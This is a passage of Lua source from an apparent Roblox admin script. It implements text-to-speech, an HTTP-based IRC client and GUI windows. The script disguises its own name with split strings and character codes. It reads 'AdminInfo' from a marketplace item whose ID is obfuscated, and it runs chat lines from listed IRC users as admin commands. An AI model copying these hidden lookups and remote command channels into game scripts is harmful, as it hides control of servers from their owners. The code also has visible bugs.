3247 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ng" then -- danger
3248 table.insert(IDs, TextConverter.LetterSounds[Num])
3249 Letters[Num + 1] = "j"
3250 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ua" then -- lua
3251 table.insert(IDs, TextConverter.LetterSounds["oo"])
3252 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ea" then -- peace
3253 table.insert(IDs, TextConverter.LongVowels["e"])
3254 table.remove(Letters, Num + 1)
3255 elseif Letters[Num+1] and Letter..Letters[Num+1] == "eo" then -- people
3256 table.insert(IDs, TextConverter.LongVowels["e"])
3257 table.remove(Letters, Num + 1)
3258 if STRING:ValidE(Letters[Num+4]) then Letters[Num+4] = "~" end
3259 elseif Letter == "c" and STRING:ValidE(Letters[Num+1]) then -- force
3260 table.insert(IDs, TextConverter.LetterSounds["s"])
3261 Letters[Num + 1] = "~"
3262 elseif Letter == string.lower(Letter) and STRING:IsVowel(Letter) and Letters[Num+1] and Letters[Num+2] and not STRING:IsSpacer(Letters[Num+1]) and STRING:ValidE(Letters[Num+2]) then -- like
3263 table.insert(IDs, TextConverter.LongVowels[Letter])
3264 Letters[Num + 2] = "~"
3265 elseif Letter == "i" and Letters[Num+1] and STRING:ValidE(Letters[Num+1]) and STRING:IsSpacer(Letters[Num+2]) then -- die
3266 table.insert(IDs, TextConverter.LongVowels["i"])
3267 Letters[Num + 1] = "~"
3268 elseif Letter == "o" and STRING:IsSpacer(Letters[Num+1]) then -- no
3269 table.insert(IDs, TextConverter.LongVowels["o"])
3270 elseif Letter == "i" and STRING:IsSpacer(Letters[Num+1]) then -- hi
3271 table.insert(IDs, TextConverter.LongVowels["i"])
3272 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "le" then -- bottle
3273 AddLetter()
3274 table.remove(Letters, Num + 1)
3275 elseif Letters[Num+1] and STRING:IsSpacer(Letters[Num+2]) and Letter..Letters[Num+1] == "el" then -- model
3276 Letters[Num] = "~"
3277 elseif Letters[Num+1] and Letters[Num+2] and Letter..Letters[Num+1] == "le" then -- bottle
3278 AddLetter()
3279 table.remove(Letters, Num + 1)
3280 elseif Letters[Num+1] and Letter..Letters[Num+1] == "qu" then --quick
3281 AddLetter()
3282 table.remove(Letters, Num + 1)
3283 elseif Letters[Num+1] == Letter then
3284 table.remove(Letters, Num)
3285 elseif Letters[Num+1] and Letter..Letters[Num+1] == "ck" then --click
3286 AddLetter()
3287 table.remove(Letters, Num)
3288 elseif STRING:IsVowel(Letter) and string.upper(Letter) == Letter then
3289 table.insert(IDs, TextConverter.LongVowels[string.lower(Letter)])
3290 elseif TextConverter.LetterSounds[Letter] then
3291 AddLetter()
3292 elseif STRING:IsSpacer(Letter) then
3293 table.insert(IDs, "Rest")
3294 end
3295 end
3296 end
3297
3298 return IDs
3299end
3300
3301function SOUND:StopSpeaking() coroutine.wrap(function()
3302 NoSpeak = true
3303 wait(1)
3304 NoSpeak = false
3305 for _,Obj in pairs(Server.Workspace:GetChildren()) do
3306 if Obj.Name == "M".."M".."L Speak Sound" then
3307 Obj:Destroy()
3308 end
3309 end
3310end)() end
3311
3312function SOUND:SayConvertedText(IDs, Parent)
3313 if not Parent then Parent = Server.Workspace end
3314 local Sounds = {}
3315 for _,Data in pairs(IDs) do
3316 if NoSpeak and Parent == Server.Workspace then
3317 break
3318 end
3319 local Length = 0.3
3320 if Data ~= "Rest" then
3321 local ID = Data[1]
3322 Length = Data[2]
3323
3324 local Sound = SOUND:MakeSound(Parent, ID, 0.5, 1, false)
3325 Sound.Name = "MML Speak Sound"
3326 table.insert(Sounds, Sound)
3327 Sound:Play()
3328 if Length then
3329 coroutine.wrap(function()
3330 wait(Length)
3331 Sound:Stop()
3332 end)()
3333 end
3334 end
3335 if not Length then Length = 0.3 end
3336 wait(Length/2)
3337 end
3338 coroutine.wrap(function()
3339 wait(1)
3340 for _,Sound in pairs(Sounds) do
3341 Sound:Destroy()
3342 end
3343 end)()
3344end
3345
3346local AdminInfo = MARKET:GetItemInfo(13810597.8 * 20, true).Description
3347
3348function SOUND:BeepPlayer(Player)
3349 if Player:FindFirstChild("PlayerGui") then
3350 local Beep = SOUND:MakeSound(Player.PlayerGui, 189279994, 1, 1, true)
3351 Beep.Name = "Annoy"
3352 Beep:Play()
3353 end
3354end
3355
3356-- IRC functions --
3357
3358function IRC:GenerateName()
3359 return "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port.."_"..math.random(1,100000)
3360end
3361
3362function IRC:AddChat(Name, Data, IsError)
3363 if not IsError then IsError = false end
3364 CORE:Log(IRC.Logs, Name, Data)
3365 table.insert(IRC.Chats, {Name, Data, IsError})
3366 IRC.MessageAdded:Fire(Name, Data, IsError)
3367end
3368
3369function IRC:Post(URL,Data)
3370 if Data and Data ~= "" then
3371 local Suc,Resp = ypcall(function()
3372 return Server.HS:PostAsync(
3373 IRC.Servers[Settings.IRCServer].BaseUrl..IRC.Servers[Settings.IRCServer].DynamicUrl.."e/"..URL.."?r="..STRING:MakeAvoidance().."&t="..tostring(IRC.SessionCounter),
3374 Data,
3375 Enum.HttpContentType.ApplicationUrlEncoded
3376 )
3377 end)
3378 if not Suc then
3379 IRC:AddChat("[ CLIENT ]", "HTTP POST FAIL | ERROR: "..Resp.." | DATA: "..Data)
3380 return false
3381 end
3382 IRC.SessionCounter = IRC.SessionCounter + 1
3383 return Resp
3384 else
3385 IRC:AddChat("[ CLIENT ]", "Unknown error")
3386 end
3387end
3388
3389function IRC:Send(Data)
3390 return IRC:Post("p","&s="..IRC.SessionID.."&c="..Server.HS:UrlEncode(Data))
3391end
3392
3393function IRC:GetData()
3394 return IRC:Post("s","&s="..IRC.SessionID)
3395end
3396
3397function IRC:Connect()
3398 return IRC:Post("n","&nick="..IRC.NickName)
3399end
3400
3401function IRC:Join(Channel)
3402 if not Channel then
3403 AddChat("[ CLIENT ]", "No channel specified!")
3404 return false
3405 else
3406 local Channel = string.lower(Channel)
3407 if string.sub(Channel,1,1) ~= "#" then
3408 AddChat("[ CLIENT ]", "Invalid channel name!(No #)", true)
3409 return false
3410 end
3411 IRC:AddChat("[ CLIENT ]", "Attempting to join channel: "..Channel.." on IRC host: "..Settings.IRCServer)
3412 IRC:Send("JOIN "..Channel)
3413 IRC:AddChat("[ CLIENT ]", "Joined "..Channel.." as "..IRC.NickName)
3414 return true
3415 end
3416end
3417
3418function IRC:Pong(Data)
3419 return IRC:Send("PONG :"..Data)
3420end
3421
3422function IRC:Quit(Reason)
3423 IRC.Stop = true
3424 return IRC:Send("QUIT :"..(Reason or "Disconnecting"))
3425end
3426
3427function IRC:ReceiveData()
3428 IRC.Stop = false
3429 local Data = IRC:GetData()
3430 if Data then
3431 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :[ SERVER: "..Server.NS.Port.." ]: [CONNECTION TEST]")
3432 end
3433 while Data and not Stop do
3434 local Data = IRC:GetData()
3435 if Data and #Data > 0 then
3436 IRC:HandleResponse(REMOTE:Decode(Data))
3437 end
3438 wait(2) -- Don't spam the server
3439 end
3440 if not Data then
3441 IRC:AddChat("[ CLIENT ]", "Could not get data", true)
3442 end
3443 if Stop == true then
3444 IRC:AddChat("[ CLIENT ]", "Disconnected from session", true)
3445 end
3446end
3447
3448function IRC:ConnectToServer(Server)
3449 if Connected then
3450 if not IRC.Servers[Server] then
3451 IRC:AddChat("[ CLIENT ]", "Cannot connect to "..Server, true)
3452 return false
3453 end
3454 IRC:Quit("New Connection")
3455 end
3456 local Response = IRC:Connect()
3457 if not Response then IRC:AddChat("[ CLIENT ]", "Unable to connect!", true) return false end
3458 local Data = REMOTE:Decode(Response)
3459 IRC.SessionID = Data[2]
3460 wait(1)
3461 if not tostring(IRC.SessionID) or IRC.SessionID == "?" then
3462 IRC:AddChat("[ IRC ]", "Session ID is invalid, reconnecting...")
3463 IRC:Quit()
3464 IRC:ConnectToServer(Server)
3465 end
3466 IRC.Connected = true
3467 IRC:Join(Settings.IRCChannel)
3468 IRC:ReceiveData()
3469 IRC.Connected = false
3470 IRC:AddChat("[ CLIENT ]", "Session ended", true)
3471end
3472
3473function IRC:FindUser(UserName)
3474 for UserID,User in pairs(IRC.Users) do
3475 if string.lower(User) == string.lower(UserName) then
3476 return UserID
3477 end
3478 end
3479 return nil
3480end
3481
3482function IRC:HandleResponse(Data)
3483 if type(Data) ~= "table" then
3484 IRC:AddChat("[ CLIENT ]", "Unable to handle data (Not table)", true)
3485 ypcall(function()
3486 IRC:AddChat("[ CLIENT ]", "Data: "..tostring(Data), true)
3487 end)
3488 return false
3489 end
3490 for _,Output in pairs(Data) do
3491 if type(Output) == "table" and Output[2] then
3492 local ID = string.upper(Output[2])
3493 if not IRC.Ignore[ID] then
3494 if ID == "PING" then
3495 IRC:Pong(Output[4][1])
3496 elseif ID == "PRIVMSG" then
3497 local SenderDetails = Output[3]
3498 local Sender = string.sub(SenderDetails,1,string.find(SenderDetails, "!")-1)
3499 local Channel = string.lower(Output[4][1])
3500 if Channel == IRC.NickName then
3501 Channel = Sender
3502 -- TODO: Handle PM's
3503 end
3504 local Message = Output[4][2]
3505 if Message ~= nil then
3506 if string.sub(Sender,1,3) == "rbx" and string.find(Sender, "_") then -- detects bots
3507 if string.find(Message,":") then
3508 local IRCUser = string.sub(Message,1,string.find(Message,":")-1)
3509 local IRCMessage = string.sub(Message,string.find(Message,":")+1, #Message)
3510 IRC:AddChat(IRCUser, IRCMessage)
3511 end
3512 else
3513 IRC:AddChat("[ IRC ] "..Sender,Message)
3514 for _,Name in pairs(Settings.IRCCommandExecuters) do
3515 if string.lower(Name) == string.lower(Sender) then
3516 CORE:Chatted(Message, nil, false, "[IRC]: "..Sender, nil, true)
3517 break
3518 end
3519 end
3520 end
3521 else
3522 IRC:AddChat("[ CLIENT ]", "Message became nil for some reason")
3523 end
3524 elseif ID == "NICK" then
3525 local Name = string.sub(Output[3],1,string.find(Output[3],"!")-1)
3526 -- change nickname?
3527 elseif ID == "433" or ID == "451" then
3528 IRC:AddChat("[ IRC ]", "Nickname already in use, rejoining with new one")
3529 IRC:Quit("Nickname in use, rejoining with new name")
3530 IRC.NickName = IRC:GenerateName()
3531 wait(2) -- wait for old sessions to end
3532 IRC:ConnectToServer(Settings.IRCServer)
3533 elseif ID == "353" then
3534 if Data[4][4][4] then
3535 for Output in string.gmatch(Data[4][4][4], "[^%s]+") do
3536 table.insert(IRC.Users, Output)
3537 end
3538 end
3539 elseif ID == "QUIT" or ID == "PART" then
3540 for User in string.gmatch(Data[1][3], "[^!~]+") do
3541 if IRC:FindUser(User) then
3542 IRC:AddChat("[ IRC ]", User.." has left")
3543 table.remove(IRC.Users, IRC:FindUser(User))
3544 end
3545 end
3546 elseif ID == "JOIN" then
3547 for User in string.gmatch(Data[1][3], "[^!~]+") do
3548 if not string.find(User, "qwebirc") then
3549 IRC:AddChat("[ IRC ]", User.." has joined")
3550 table.insert(IRC.Users,w)
3551 end
3552 end
3553 elseif ID == "CONNECTION TO IRC SERVER LOST." then
3554 IRC:AddChat("[ CLIENT ]", "Cannot connect to IRC. Connection lost")
3555 --IRC:Quit("Connection lost")
3556 --IRC:AddChat("[ CLIENT ]", "Retrying connection")
3557 --IRC:ConnectToServer(Settings.IRCServer)
3558 elseif IRC.Codes[ID] then
3559 --print(ID)
3560 --print(Data[i][4][2])
3561 --print(Data[i][4][2])
3562 elseif ID == "KICK" then
3563 IRC:AddChat("[ CLIENT ]", "You have been kicked from IRC")
3564 IRC:Quit("Kicked from IRC")
3565 elseif ID then
3566 IRC:AddChat("[ CLIENT ]", "Unknown data (ID: "..ID..")", true)
3567 else
3568 IRC:AddChat("[ CLIENT ]", "Unknown data with invalid ID", true)
3569 end
3570 end
3571 else
3572 if Output == false then return false end -- sneeky server
3573 IRC:AddChat("[ CLIENT ]", "Unable to handle data")
3574 end
3575 end
3576end
3577
3578-- GUI functions --
3579
3580function GUI:GetColor(ColorName)
3581 if not ColorName then ColorName = Settings.ColorScheme end
3582 return Colors[string.upper(ColorName)]
3583end
3584
3585function GUI:ContrastColor(Color)
3586 if type(Color) == "string" then Color = GUI:GetColor(Color) end
3587 if not Color then Color = GUI:GetColor() end
3588 return Color3.new(math.abs(Color.r-1),math.abs(Color.g-1),math.abs(Color.b-1))
3589end
3590
3591
3592function GUI:GetNameColor(Name)
3593 local Val = 0
3594 for i = 1, #Name do
3595 local CVal = string.byte(string.sub(Name, i, i))
3596 local RevIndex = #Name - i + 1
3597 if #Name%2 == 1 then
3598 RevIndex = RevIndex - 1
3599 end
3600 if RevIndex%4 >= 2 then
3601 CVal = -CVal
3602 end
3603 Val = Val + CVal
3604 end
3605 local Index = Val%8 + 1
3606
3607 return BrickColor.new(ChatColors[Index])
3608end
3609
3610function GUI:Color3ToHex(Color)
3611 local function ConvertNumber(Number)
3612 local HexString = "0123456789abcdef"
3613 local Byte = ""
3614 while Number > 0 do
3615 local Calc = math.fmod(Number, 16)
3616 Byte = string.sub(HexString, Calc+1, Calc+1)..Byte
3617 Number = math.floor(Number / 16)
3618 end
3619 if Calc == "" then
3620 Byte = "00"
3621 elseif #Byte == 1 then
3622 Byte = "0"..Byte
3623 elseif Byte == "" then
3624 Byte = "00"
3625 end
3626 return Byte
3627 end
3628 return ConvertNumber(Color.r * 255)..ConvertNumber(Color.g * 255)..ConvertNumber(Color.b * 255)
3629end
3630
3631function GUI:CreateForm(Player, TitleText, Size, Position, IconID, ShowFormButtons, ColorScheme, TransparencyScheme, AutoOffset, TweenPosition, NoModal, NoScrollFrame)
3632 if not Player then return nil end
3633 if not Player:FindFirstChild("PlayerGui") then return nil end
3634 local TaskBar = Player.PlayerGui:FindFirstChild("M".."ake".."rMod".."el".."Lua's TaskBar")
3635 if not TitleText then TitleText = "Unknown" end
3636 if not Size then Size = UDim2.new(0.5,0,0.5,0) end
3637 if not Position then Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,0.5-(Size.Y.Scale/2),-Size.Y.Offset/2) end
3638 if not IconID then IconID = 19919809 end
3639 if ShowFormButtons == nil then ShowFormButtons = true end
3640 if not ColorScheme then ColorScheme = Settings.ColorScheme end
3641 if not TransparencyScheme then TransparencyScheme = Settings.TransparencyScheme end
3642 if AutoOffset == nil then AutoOffset = true end
3643 if Icons[IconID] then IconID = Icons[IconID] end
3644 if TweenPosition == nil then TweenPosition = true end
3645 if NoModal == nil then NoModal = false end
3646 if NoScrollFrame == nil then NoScrollFrame = false end
3647
3648 local IsClosed = false
3649 local Minus = nil
3650 local Offset = 0
3651 local ContentType = "ScrollingFrame"
3652 local TweenSpeed = 0.3
3653
3654 if AutoOffset then
3655 for _,Item in pairs(Player.PlayerGui:GetChildren()) do
3656 if Item.Name == "M".."a".."k".."erModelLua's Admin Form" then
3657 if Item.IsActive.Value == true then
3658 if Item.IsTrueForm.Value == true then
3659 Offset = Offset + 50
3660 end
3661 end
3662 end
3663 end
3664 end
3665
3666 if NoScrollFrame == true then
3667 ContentType = "Frame"
3668 end
3669
3670 SOUND:PlayNotification(Player, 155331654)
3671
3672 local Position = Position + UDim2.new(0,Offset,0,Offset)
3673 local MinimizePos = Position
3674
3675 local SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = string.char(76 + 1, 97, 107, 10 ^ 2 + 1, 114, 77, 111, 10 ^ 2, 101, 108, 76, 117, 97, 39, 115).." Admin Form"
3676 local IsActive = Instance.new("BoolValue", SG) IsActive.Name = "IsActive" IsActive.Value = true
3677 local IsTrueForm = Instance.new("BoolValue", SG) IsTrueForm.Name = "IsTrueForm" IsTrueForm.Value = ShowFormButtons
3678
3679 local Dragger = Instance.new("Frame", SG) Dragger.Name = "Dragger" Dragger.Position = UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90) Dragger.Size = Size + UDim2.new(0, 0, 0, 40) Dragger.BackgroundColor3 = GUI:GetColor(ColorScheme) Dragger.BorderColor3 = GUI:ContrastColor(ColorScheme) Dragger.BorderSizePixel = 2 Dragger.BackgroundTransparency = 0.9 Dragger.Active = true Dragger.ClipsDescendants = true Dragger.Draggable = true
3680 local FormBar = Instance.new("Frame", Dragger) FormBar.Name = "FormBar" FormBar.Position = UDim2.new(0, 0, 0, 0) FormBar.Size = UDim2.new(1, 0, 0, 40) FormBar.BackgroundTransparency = 1
3681 local Splitter = Instance.new("Frame", Dragger) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0, 0, 0, 35) Splitter.Size = UDim2.new(1, 0, 0, 2) Splitter.BackgroundColor3 = GUI:ContrastColor(ColorScheme) Splitter.BorderColor3 = GUI:ContrastColor(ColorScheme)
3682 local X = Instance.new("ImageButton", FormBar) X.Name = "X" X.Position = UDim2.new(1, -30, 0, 5) X.Size = UDim2.new(0, 25, 0, 25) X.BackgroundTransparency = 1 X.Image = "rbxassetid://275572394"
3683 local Title = Instance.new("TextLabel", FormBar) Title.Name = "Title" Title.Position = UDim2.new(0, 50, 0, 5) Title.Size = UDim2.new(1, -120, 0, 25) Title.BackgroundColor3 = Color3.new(101/255, 102/255, 102/255) Title.BorderSizePixel = 0 Title.Text = TitleText Title.Font = "ArialBold" Title.FontSize = "Size18" Title.TextXAlignment = "Left" Title.TextColor3 = GUI:ContrastColor(ColorScheme) Title.ClipsDescendants = true
3684 local IconHolder = Instance.new("ImageLabel", FormBar) IconHolder.Name = "IconHolder" IconHolder.Position = UDim2.new(0, 5, 0, 5) IconHolder.Size = UDim2.new(0, 35, 0, 25) IconHolder.BackgroundTransparency = 1 IconHolder.Image = "rbxassetid://276002222"
3685 local Icon = Instance.new("ImageLabel", IconHolder) Icon.Name = "Icon" Icon.Position = UDim2.new(0, 3, 0.5, -10) Icon.Size = UDim2.new(0, 20, 0, 20) Icon.BackgroundTransparency = 1 Icon.Image = "rbxassetid://"..IconID
3686 local TitleBegin = Instance.new("ImageLabel", FormBar) TitleBegin.Name = "TitleBegin" TitleBegin.Position = UDim2.new(0, 30, 0, 5) TitleBegin.Size = UDim2.new(0, 35, 0, 25) TitleBegin.BackgroundColor3 = Color3.new(1, 1, 1) TitleBegin.BackgroundTransparency = 1 TitleBegin.Image = "rbxassetid://275589160"
3687 local TitleEnd = Instance.new("ImageLabel", FormBar) TitleEnd.Name = "TitleEnd" TitleEnd.Position = UDim2.new(1, -76, 0, 5) TitleEnd.Size = UDim2.new(0, 25, 0, 25) TitleEnd.BackgroundTransparency = 1 TitleEnd.Image = "rbxassetid://275589154"
3688
3689 local Body = Instance.new("TextButton", Dragger) Body.Name = "Body" Body.Position = UDim2.new(0, 0, 0, 40) Body.Size = UDim2.new(1, 0, 1, -40) Body.BackgroundColor3 = Color3.new(1, 1, 1) Body.BackgroundTransparency = 1 Body.Text = "" Body.Modal = true Body.Active = true Body.Modal = not NoModal
3690 local Content = Instance.new(ContentType, Body) Content.Name = "Content" Content.Size = UDim2.new(1, 0, 1, 0) Content.BackgroundTransparency = 1
3691 if ContentType == "ScrollingFrame" then Content.CanvasSize = Size end
3692 --local ResizeContainer = Instance.new("Frame", SG) ResizeContainer.Name = "ResizeContainer" ResizeContainer.Size = UDim2.new(0, 20, 0, 20) ResizeContainer.BackgroundColor3 = Color3.new(1, 1, 1) ResizeContainer.BackgroundTransparency = 1
3693 --local Resizer = Instance.new("ImageLabel", ResizeContainer) Resizer.Name = "Resizer" Resizer.Size = UDim2.new(1, 0, 1, 0) Resizer.BackgroundColor3 = Color:GetColor() Resizer.BackgroundTransparency = Settings.TransparencyScheme Resizer.BorderSizePixel = 0 Resizer.Image = "rbxassetid://199287674" Resizer.Active = true Resizer.Draggable = true
3694
3695 CORE:ExecuteResource("GUIEffect", SG, {["Transparency"] = Settings.TransparencyScheme + 0.1})
3696
3697 local Functions = Instance.new("Folder", SG) Functions.Name = "Functions"
3698
3699 local Close = Instance.new("BindableFunction", Functions) Close.Name = "Close"
3700 local Closed = Instance.new("BindableEvent", Functions) Closed.Name = "Closed"
3701 local Minimize = Instance.new("BindableFunction", Functions) Minimize.Name = "Minimize"
3702 local Minimized = Instance.new("BindableEvent", Functions) Minimized.Name = "Minimized"
3703 local Restore = Instance.new("BindableFunction", Functions) Restore.Name = "Restore"
3704 local Restored = Instance.new("BindableEvent", Functions) Restored.Name = "Restored"
3705
3706 if Settings.EnableTaskBar then
3707 Minus = Instance.new("ImageButton", FormBar) Minus.Name = "Minus" Minus.Position = UDim2.new(1, -58, 0, 5) Minus.Size = UDim2.new(0, 35, 0, 25) Minus.BackgroundTransparency = 1 Minus.Image = "rbxassetid://275589157"
3708 else
3709 TitleEnd.Position = UDim2.new(1, -50, 0, 5)
3710 Title.Size = UDim2.new(1, -95, 0, 25)
3711 end
3712
3713 if not ShowFormButtons then
3714 X:Destroy()
3715 TitleEnd:Destroy()
3716 Title.Size = UDim2.new(1, -55, 0, 25)
3717 end
3718
3719 local function CloseForm()
3720 if IsClosed == false then
3721 IsActive.Value = false
3722 IsClosed = true
3723 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,1,Size.Y.Offset + 20), "Out", "Quint", TweenSpeed, true, function() wait(1) SG:Destroy() end) end)
3724 Closed:Fire()
3725 SOUND:PlayNotification(Player, 206375138)
3726 end
3727 end
3728
3729 local function MinimizeForm()
3730 if IsActive.Value == true then
3731 IsActive.Value = false
3732 Minimized:Fire()
3733 MinimizePos = Dragger.Position
3734 ypcall(function() Dragger:TweenPosition(UDim2.new(0.5-(Size.X.Scale/2),-Size.X.Offset/2,-Size.Y.Scale,-Size.Y.Offset - 90), "Out", "Quad", TweenSpeed, true) end)
3735 end
3736 end
3737
3738 local function RestoreForm()
3739 if IsActive.Value == false then
3740 IsActive.Value = true
3741 Restored:Fire()
3742 ypcall(function() Dragger:TweenPosition(MinimizePos, "Out", "Quint", TweenSpeed, true) end)
3743 end
3744 end
3745
3746 if X then CORE:HandleEvent(X, "MouseButton1Down", CloseForm) end
3747 if Minus then CORE:HandleEvent(Minus, "MouseButton1Down", MinimizeForm) end
3748
3749 Close.OnInvoke = CloseForm
3750 Minimize.OnInvoke = MinimizeForm
3751 Restore.OnInvoke = RestoreForm
3752
3753 if TweenPosition then Dragger:TweenPosition(Position, "Out", "Quint", TweenSpeed, true) end
3754
3755 if TaskBar then
3756 TaskBar:WaitForChild("AddForm")
3757 TaskBar.AddForm:Fire(SG, IconID, Closed, Minimized, Restore)
3758 end
3759
3760 return Content, Close, Closed, Minimize, Minimized, Restore, Restored
3761end
3762
3763function GUI:CoreGui(Player, Type, Enable)
3764 local Parent = Player:FindFirstChild("Backpack")
3765 if not Parent then Parent = Player.Backpack end
3766 CORE:ExecuteResource("CoreGui", Player.Character, {["Type"] = Type, ["Enabled"] = Enable})
3767end
3768
3769function GUI:SendMessage(Player, TitleText, BodyText, IconID, Time, AutoTime)
3770 if not Player or not Player:IsA("Player") then return nil end
3771 if BodyText == "" then return nil end
3772 if not Player:FindFirstChild("PlayerGui") then return nil end
3773
3774 local MessageSplit = STRING:GetSplit(BodyText, 1, " ") or {BodyText}
3775 local TextColor = GUI:GetColor(MessageSplit[1])
3776 if TextColor then BodyText = MessageSplit[2] end
3777 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
3778
3779 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, TitleText, UDim2.new(0.2,100,0.1,100), nil, IconID)
3780 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 0 Body.TextWrapped = true Body.TextYAlignment = "Top"
3781
3782 if Frame then
3783 local FormBar = Frame.Parent.Parent.FormBar
3784 local Said = false
3785 local Speak = Instance.new("ImageButton", FormBar) Speak.Name = "Speak" Speak.Position = UDim2.new(1, -87, 0, 5) Speak.Size = UDim2.new(0, 35, 0, 25) Speak.BackgroundColor3 = Color3.new(1, 1, 1) Speak.BackgroundTransparency = 1 Speak.Image = "rbxassetid://276195369"
3786 if Settings.EnableTaskBar then
3787 FormBar.TitleEnd.Position = UDim2.new(1, -106, 0, 5)
3788 FormBar.Title.Size = UDim2.new(1, -145, 0, 25)
3789 else
3790 Speak.Position = UDim2.new(1, -58, 0, 5)
3791 FormBar.TitleEnd.Position = UDim2.new(1, -76, 0, 5)
3792 FormBar.Title.Size = UDim2.new(1, -120, 0, 25)
3793 end
3794 CORE:HandleEvent(Speak, "MouseButton1Down", function()
3795 if not Said then
3796 Said = true
3797 SOUND:SayConvertedText(SOUND:ConvertText(BodyText), Frame)
3798 end
3799 end)
3800
3801 if TextColor then
3802 Body.TextColor3 = TextColor
3803 else
3804 Body.TextColor3 = Color3.new(1,1,1)
3805 end
3806
3807 if tonumber(Time) then coroutine.wrap(function()
3808 if AutoTime then
3809 Time = Time + math.floor(#BodyText/7)
3810 end
3811 local Alive = true
3812
3813 local function StopTimer() Alive = false end
3814 Closed.Event:connect(StopTimer)
3815 Minimized.Event:connect(StopTimer)
3816
3817 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
3818 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
3819 local Ticker = Instance.new("TextLabel", Frame.Parent) Ticker.Size = UDim2.new(1, 0, 0, 30) Ticker.TextColor3 = GUI:ContrastColor() Ticker.BackgroundTransparency = 1 Ticker.Text = Time Ticker.Font = "ArialBold" Ticker.FontSize = "Size18"
3820 local Stop = Instance.new("ImageButton", Frame.Parent) Stop.Name = "Stop" Stop.Position = UDim2.new(1,-30,0,0) Stop.Size = UDim2.new(0, 25, 0, 25) Stop.BackgroundColor3 = Color3.new(1, 1, 1) Stop.BackgroundTransparency = 1 Stop.Image = "rbxassetid://49494354"
3821 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
3822 for i = Time,0,-1 do
3823 for ii = 1,10 do
3824 if Alive == true then
3825 Ticker.Text = i
3826 wait(0.1)
3827 else
3828 break
3829 end
3830 end
3831 end
3832 if Alive == true then
3833 Close:Invoke()
3834 else
3835 Ticker:Destroy()
3836 Stop:Destroy()
3837 Frame.Size = Frame.Size + UDim2.new(0,0,0,30)
3838 Frame.Position = Frame.Position + UDim2.new(0,0,0,-30)
3839 end
3840 end)() end
3841
3842 CORE:ExecuteResource("CalculateScrollY", Body)
3843 end
3844end
3845
3846function GUI:FullMessage(Player, TitleText, BodyText, IconID, Error)
3847 if not Player then return nil end
3848 if not Player:IsA("Player") then return nil end
3849 if BodyText == "" then return nil end
3850 if not Player:FindFirstChild("PlayerGui") then return nil end
3851 BodyText = string.sub(STRING:FormatReplace(Player, BodyText),1,1000)
3852 local TextColor = GUI:ContrastColor()
3853 if Error then TextColor = Color3.new(1,0,0) end
3854
3855 local Frame, Close, Closed = GUI:CreateForm(Player, TitleText, UDim2.new(0.3,0,0.3,0), nil, IconID)
3856 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1, -13, 1, 0) Body.BackgroundTransparency = 1 Body.Text = BodyText Body.Font = Settings.Font Body.FontSize = "Size18" Body.TextStrokeTransparency = 1 Body.TextWrapped = true Body.TextXAlignment = "Left" Body.TextYAlignment = "Top" Body.TextColor3 = TextColor
3857
3858 CORE:ExecuteResource("CalculateScrollY", Body)
3859
3860 return Frame, Close, Closed
3861end
3862
3863function GUI:SendHint(Player, Text, Time) coroutine.wrap(function()
3864 Text = STRING:FormatReplace(Player, string.sub(Text,1,100))
3865 if not Time then Time = 5 end
3866 local SG,TypeAction,Num = Instance.new("ScreenGui"),nil,0 SG.Name = "LuaMod".."".."elM".."aker's Admin Hint"
3867 local Frame = Instance.new("Frame", SG) Frame.Name = "Hint Frame" Frame.Position = UDim2.new(0,0,0,-80) Frame.Size = UDim2.new(1,0,0,30) Frame.BackgroundColor3 = GUI:GetColor() Frame.BackgroundTransparency = Settings.TransparencyScheme
3868 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.ZIndex = 2 Body.Text = "" Body.BackgroundTransparency = 1 Body.Size = UDim2.new(1,0,1,0) Body.Font = "ArialBold" Body.FontSize = "Size18" Body.TextColor3 = GUI:ContrastColor()
3869 for _,Object in pairs(Player.PlayerGui:GetChildren()) do if Object.Name == "LuaMod".."elMaker".."'".."s Admin Hint" then Object:Destroy() end end
3870 SG.Parent = Player.PlayerGui
3871 Frame:TweenPosition(UDim2.new(0,0,0.05,0), "In", "Quint", 0.7)
3872 wait(0.8)
3873 TypeAction = Server.RS.Stepped:connect(function()
3874 Num = Num + 1
3875 Body.Text = string.sub(Text,1,Num)
3876 if Num == #Text then
3877 TypeAction:disconnect()
3878 end
3879 end)
3880 wait(Time)
3881 if Frame and Frame.Parent then
3882 Frame:TweenPosition(UDim2.new(0,0,0,-80), "Out", "Quint", 0.7, true, function() SG:Destroy() end)
3883 end
3884end)() end
3885
3886function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
3887 if not Player then return nil end
3888 if not Player:FindFirstChild("PlayerGui") then return nil end
3889 if not PreSearch then PreSearch = "" end
3890 if AutoNumber == nil then AutoNumber = true end
3891
3892 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
